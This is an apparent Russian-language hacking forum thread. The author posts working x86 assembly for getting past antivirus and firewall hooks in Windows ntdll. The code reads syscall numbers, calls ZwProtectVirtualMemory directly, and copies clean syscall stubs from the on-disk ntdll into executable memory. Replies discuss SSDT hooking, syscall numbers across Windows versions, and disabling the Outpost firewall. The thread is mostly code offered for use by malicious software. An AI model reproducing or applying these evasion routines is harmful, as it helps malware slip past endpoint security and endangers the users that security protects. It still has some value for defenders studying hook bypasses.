Итак.... Представим ситуацию. Есть фаер/антитварь, ставящее хуки на нужные зловредному коду функции. И все бы ничего... Возьмем да и снимем поставленые хуки... а нет... на функции ZwProtectVirtualMemory тоже стоит перехват=\ что тогда? с утра сегодня пришла идея сэмулировать нужную функцию... мож кому-то будет интересно. Если не будет -тему дельнете. делов-то Посидела немного за дизасмом VirtualProtectEx и ZwProtectVirtualMemory. Я их обе сэмулирую. Значит с первой проблем вообще не возникло. Просто проследила за содержанием стека, чтобы узнать где какой параметр. Далее... Далее вызов ntdll функции, на начале которой стоит наш воображаемый хук. Пять байт затерто. А нам надо узнать номер функции Code: 7C90DE77 n>/$ B8 86000000 MOV EAX,86 7C90DE7C |. BA 0003FE7F MOV EDX,7FFE0300 7C90DE81 |. FF12 CALL DWORD PTR DS:[EDX] 7C90DE83 \. C2 0C00 RETN 0C 7C90DE86 90 NOP 7C90DE87 90 NOP 7C90DE88 90 NOP 7C90DE89 90 NOP 7C90DE8A 90 NOP 7C90DE8B 90 NOP 7C90DE8C n>/$ B8 87000000 MOV EAX,87 7C90DE91 |. BA 0003FE7F MOV EDX,7FFE0300 7C90DE96 |. FF12 CALL DWORD PTR DS:[EDX] 7C90DE98 \. C2 1800 RETN 18 7C90DE9B 90 NOP 7C90DE9C 90 NOP 7C90DE9D 90 NOP 7C90DE9E 90 NOP 7C90DE9F 90 NOP 7C90DEA0 90 NOP 7C90DEA1 n>/$ B8 88000000 MOV EAX,88 7C90DEA6 |. BA 0003FE7F MOV EDX,7FFE0300 7C90DEAB |. FF12 CALL DWORD PTR DS:[EDX] 7C90DEAD \. C2 1400 RETN 14 Мы видим, что номера функций идут строго по порядку. Это означает, что чтобы нам вычислить адрес ZwProtectVirtualMemory надо просто посмотреть номер предыдущей функции и прибавить 1 или последующей (но тогда надо вычитать 1). Второй вариант мне больше понравился. а тот же аутпост (в пример привожу его - это модный пример) ставит хук так Code: 7C90EA32 n> $- E9 71DE7393 JMP wl_hook.1004C8A8 ; это поясняет мои стова относительно пяти байт 7C90EA37 . BA 0003FE7F MOV EDX,7FFE0300 7C90EA3C . FF12 CALL DWORD PTR DS:[EDX] 7C90EA3E . C2 1400 RETN 14 Значит нам потребуется вычислить номер функции. Теперь подробнее. Ищем байт 0B8, забираем двойное слово- номер функции декрементируем, вписываем значение в наш код.... Потом ищем 0BA, поступаем так же. По поводу записи непосредственно в секцию кода. VirtualProtect тут вызывать тоже не надо. Я установила характеристики секции в 0E0000020H, поэтому все в порядке=) Code: .386 .model flat, stdcall include kernel32.inc include windows.inc includelib kernel32.lib .data ntdl_ db "ntdll.dll",0 vprotect db "ZwProtectVirtualMemory",0 func_ dword ? .const .code system_call proc mov eax,0 ; сюда мы запишем номер функции mov edx,0 call dword ptr [edx] ; KiFastSystemCall retn 14h ; количество передаваемых параметров я знаю точно system_call endp emulator_ proc ; эмуляция VirtualProtectEx local old_protect:dword local size_c:dword local address:dword lea eax,old_protect push eax push 40h ; тип протекта запись-чтение-исполнение mov size_c,10 lea eax,size_c push eax push func_ ; на ней же и протестим=) pop address lea eax,address push eax push -1 ; пишем в своем процессе, поэтому -1 call system_call mov esi,func_ mov byte ptr[esi],8 ; проверяем на запись. ошибки нет=) ret emulator_ endp Main: invoke GetModuleHandleA,offset ntdl_ invoke GetProcAddress,eax,offset vprotect test eax,eax je ext_ mov func_,eax add eax,4 ; пять байт мы смело пропускаем. тут четыре, да ниже inc - итого 5) loo: inc eax cmp byte ptr [eax],0b8h ; начало инструкции mov eax,xxxx. для надежности можно проверять длину инструкции. должно быть 5 байт. в этом нам поможет ; дизассемблер длин, его прикрутить вообще не проблема jnz loo inc eax mov edx,dword ptr[eax] mov edi,offset system_call dec edx inc edi mov dword ptr[edi],edx add eax,5 add edi,5 mov edx,dword ptr[eax] mov dword ptr[edi],edx call emulator_ ext_: invoke ExitProcess, NULL end Main Не забудьте установить характеристики секции кода данной проги в 0E0000020H! Вообще наверняка есть способ лучше..
Это всё канешн круто. Только нормальные АВ и фаеры ставят хуки в ядре в SSDT или сплайсингом Nt-вариантов родного апи.
Хм.. Зачем что-то изобретать? если нужно анхучить ntdll - читаем из файла оригиналиное содержимое функции да и затираем все хуки... Опять-же как можно изменить аттрибуты секции файла? разобрать PE заголовок, найти эту секцию и прописать новые аттрибуты? WFP сразу вернёт всё на место. Да и грейт вообще-то прав. На моей памяти только аутпост СДТ не хучит. P.S. А вообще молодец. Хорошее предложение. Только в реальности работать не будет...
хм, мо-моему оутпост ничё не вякал и позволял норм анхукать =d покрайней мере в предпоследней версии... а ваще норм, пускай способ будет =)
Неееее) Я ж не у ntdll меняю характеристики секции кода! (я об этом, канешн сначала думала, кстати на васме если мне память не изменяет был код отруба WFP). Да и в самом ntdll.dll не внесни никаких изменений - файл только для чтения. Я говорю про саму программу. Чтобы потом не было вопросов=) Просто я пишу непосредственно в секции кода, не установив права на запись, поэтому я предупредила, что характеристики секции это позволяют я ж пишу в эту процедуру непосредственно Code: system_call proc mov eax,0 ; сюда мы запишем номер функции mov edx,0 call dword ptr [edx] ; KiFastSystemCall retn 14h ; количество передаваемых параметров я знаю точно system_call endp Дааааа ) Поэтому я рассматриваю теоретическую возможность перехвата. Но в скором времени, учитывая то, что в этом сезоне модно убивать аутпост, может стать практической)))) Отчего же? У мну все заработало)))))) А ты что юзаешь для того, чтобы затереть хук? VirtualProtect. VirtualProtect вызывает VirtualProtectEx, а та в свою очередь ZwProtectVirtualMemory. А если на ней хук?) Перехват этой функции - это возможное решение разработчиков против антисплайсинга. Причем довольно вероятное.
А работать не будет вот почему: NtPrivilegeCheck 0x005d 0x005d 0x005d 0x005d 0x0074 0x0074 0x0074 0x0074 0x0074 0x0086 0x0086 0x0086 0x008c 0x008c 0x00cc NtPrivilegeObjectAuditAlarm 0x005f 0x005f 0x005f 0x005f 0x0076 0x0076 0x0076 0x0076 0x0076 0x0087 0x0087 0x0087 0x008d 0x008d 0x00cd NtPrivilegedServiceAuditAlarm 0x005e 0x005e 0x005e 0x005e 0x0075 0x0075 0x0075 0x0075 0x0075 0x0088 0x0088 0x0088 0x008e 0x008e 0x00ce NtPropagationComplete 0x0178 NtPropagationFailed 0x0179 NtProtectVirtualMemory 0x0060 0x0060 0x0060 0x0060 0x0077 0x0077 0x0077 0x0077 0x0077 0x0089 0x0089 0x0089 0x008f 0x008f 0x00cf NtPullTransaction 0x0176 NtPulseEvent 0x0061 0x0061 0x0061 0x0061 0x0078 0x0078 0x0078 0x0078 0x0078 0x008a 0x008a 0x008a 0x0090 0x0090 0x00d0 NtQueryAttributesFile 0x0063 0x0063 0x0063 0x0063 0x007a 0x007a 0x007a 0x007a 0x007a 0x008b 0x008b 0x008b 0x0091 0x0091 0x00d1 В разных версиях осей за и перед NtProtectVirtualMemory идут разные функции.
Работать не будет при неск. условиях. 1. Функции идут не по порядку 2. имеют не такой вид Code: MOV EAX,xxxx MOV EDX,yyyy CALL DWORD PTR DS:[EDX] RETN zzz То есть в 2k работать не будет. Я проверяла на winxp sp2. А то, что функции разные, так это вообще не имеет значения. лишь бы по порядку шли (или просто ты не так выразился). Я ж кусок кода в начале приводила из ntdll. Хотя так-то это все ненадежно. Лучше из файла читать номер функции. седня вечером накатаю код... так канешн, будет правильней.
Ge(X)oR про конкретно эмуляцию функций я не слышала=\ Если говоришь, что было, так аргументируй (ссылки и тд)... а "что-то подобное" мне ни о чем не говорит)
Переписала код.... в общем саму функцию эмуляции и получение номера функции. Code: emulator_vir_protect proc hProcess:dword,lpAddress:dword,dwSize:dword,flNewProtect:dword,lpflOldProtect:dword push lpflOldProtect push flNewProtect lea eax,dwSize push eax lea eax,lpAddress push eax push hProcess call system_call ret emulator_vir_protect endp Так теперь выглядит эмуляция VirtualProtectEx ) Вызывать так Code: invoke emulator_vir_protect,-1,func_,10,40h,addr oldprot_ То есть так же как обычный VirtualProtect Code: GetNumberNtdllFunction proc address_function:dword,imagebase:dword ; в eax возвращается номер функции, если произошла ошибка в eax 0 local hFile:dword local dwSize:dword local hMap:dword local Base:dword local rva:dword mov edi,address_function sub edi,imagebase mov rva,edi invoke GetSystemDirectory,offset buf_,255 test eax,eax je ret_ invoke lstrcat,offset buf_,offset sl invoke lstrcat,offset buf_,offset ntdl_ invoke CreateFile,offset buf_,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL mov hFile,eax inc eax jz ret_ invoke GetFileSize,hFile, NULL test eax,eax jz ret_ mov dwSize,eax invoke CreateFileMapping,hFile, NULL,1000002h, 0, dwSize, NULL mov hMap,eax invoke MapViewOfFile,hMap, FILE_MAP_READ, 0, 0, dwSize mov Base,eax test eax,eax je ret_ add eax,rva inc eax mov edi,dword ptr[eax] mov rva,edi add eax,5 push dword ptr [eax] invoke UnmapViewOfFile,Base invoke CloseHandle,hMap invoke CloseHandle,hFile mov eax,rva pop edx jmp rt ret_: sub eax,eax sub edx,edx rt: ret GetNumberNtdllFunction endp А вот процедура получения номера функции.... Пример вызова Code: invoke GetModuleHandleA,offset ntdl_ mov ntdllbase,eax invoke GetProcAddress,eax,offset vprotect test eax,eax je ext_ mov func_,eax invoke GetNumberNtdllFunction, func_,ntdllbase Теперь имеет значение только формат Code: MOV EAX,xxxx MOV EDX,yyyy CALL DWORD PTR DS:[EDX] RETN zzz
Теперь и под 2000 работает и под XP, все-таки доделала.... Суть в том, что вся процедура копируется в выделенную память. Конец процедуры определяется по опкоду рет xxxx. Написала для этого функцию. В качестве первого ее аргумента принимается адрес функции, в качестве второго - адрес загрузки библиотеки ntdll. Ясное дело, что без нормального дизассемблера длин тут не обойтись. Поэтому я встроила VirXasm32 (на васме можно взять), вы же можете другой встроить или свой написать. Лишь бы длина инструкции возвращалась в eax. Теперь не надо никаких характеристик секций менять, как раньше. все просто и удобно))) Процедуре необходимо Code: .data ntdl_ db "ntdll.dll",0 buf_ db 300 dup(?) sl db "\",0 Сам код Code: procedurecopy proc address_function:dword,imagebase:dword ; в eax возвращается адрес украденного кода, в edx - его размер. Если ошибка - регистры пусты ; освободить выделенную память вы должны сами! С помощью VirtualFree local hFile:dword local dwSize:dword local hMap:dword local Base:dword local rva:dword local codesize:dword mov edi,address_function sub edi,imagebase mov rva,edi invoke GetSystemDirectory,offset buf_,255 ; системная директория test eax,eax je ret_ invoke lstrcat,offset buf_,offset sl ; формируем путь к ntdll invoke lstrcat,offset buf_,offset ntdl_ invoke CreateFile,offset buf_,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL mov hFile,eax inc eax jz ret_ invoke GetFileSize,hFile, NULL test eax,eax jz ret_ mov dwSize,eax invoke CreateFileMapping,hFile, NULL,1000002h, 0, dwSize, NULL mov hMap,eax invoke MapViewOfFile,hMap, FILE_MAP_READ, 0, 0, dwSize mov Base,eax test eax,eax je ret_ add eax,rva mov rva,eax mov esi,eax mov eax,codesize ; это на байт короче, чем mov codesize,0 xor codesize,eax disasm: call VirXasm32 ; дизассемблер длин. любой вам понравившийся, можно даж самопальный ;-) cmp al,3 ; длина инструкции три байта? проверяем не ret xxxx? jz pr_ ; проверяем на рет add codesize,eax ; если длина другая - идем дизасмить дальше, прибавляем длину к общей длине кода add esi,eax ; к esi добавляем длину инструкции jmp disasm pr_: cmp byte ptr[esi],0c2h ; начало инструкции ret xxxx jnz disasm_ ; идем дальше jmp end_dasm_ disasm_: add esi,eax jmp disasm end_dasm_: add codesize,eax inc codesize invoke VirtualAlloc,0,codesize,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE test eax,eax je ret_ mov esi,rva mov edi,eax mov rva,eax mov ecx,codesize rep movsb invoke UnmapViewOfFile,Base invoke CloseHandle,hMap invoke CloseHandle,hFile mov eax,rva mov edx,codesize jmp rt ret_: sub eax,eax ; если ошибка, то обнуляем sub edx,edx rt: ret procedurecopy endp emulator_vir_protect proc hProcess:dword,lpAddress:dword,dwSize:dword,flNewProtect:dword,lpflOldProtect:dword,addr_native:dword ; теперь добавился еще один параметр. адрес, по которому располагается native функция. то, что вернула в eax procedurecopy push lpflOldProtect push flNewProtect lea eax,dwSize push eax lea eax,lpAddress push eax push hProcess call addr_native ret emulator_vir_protect endp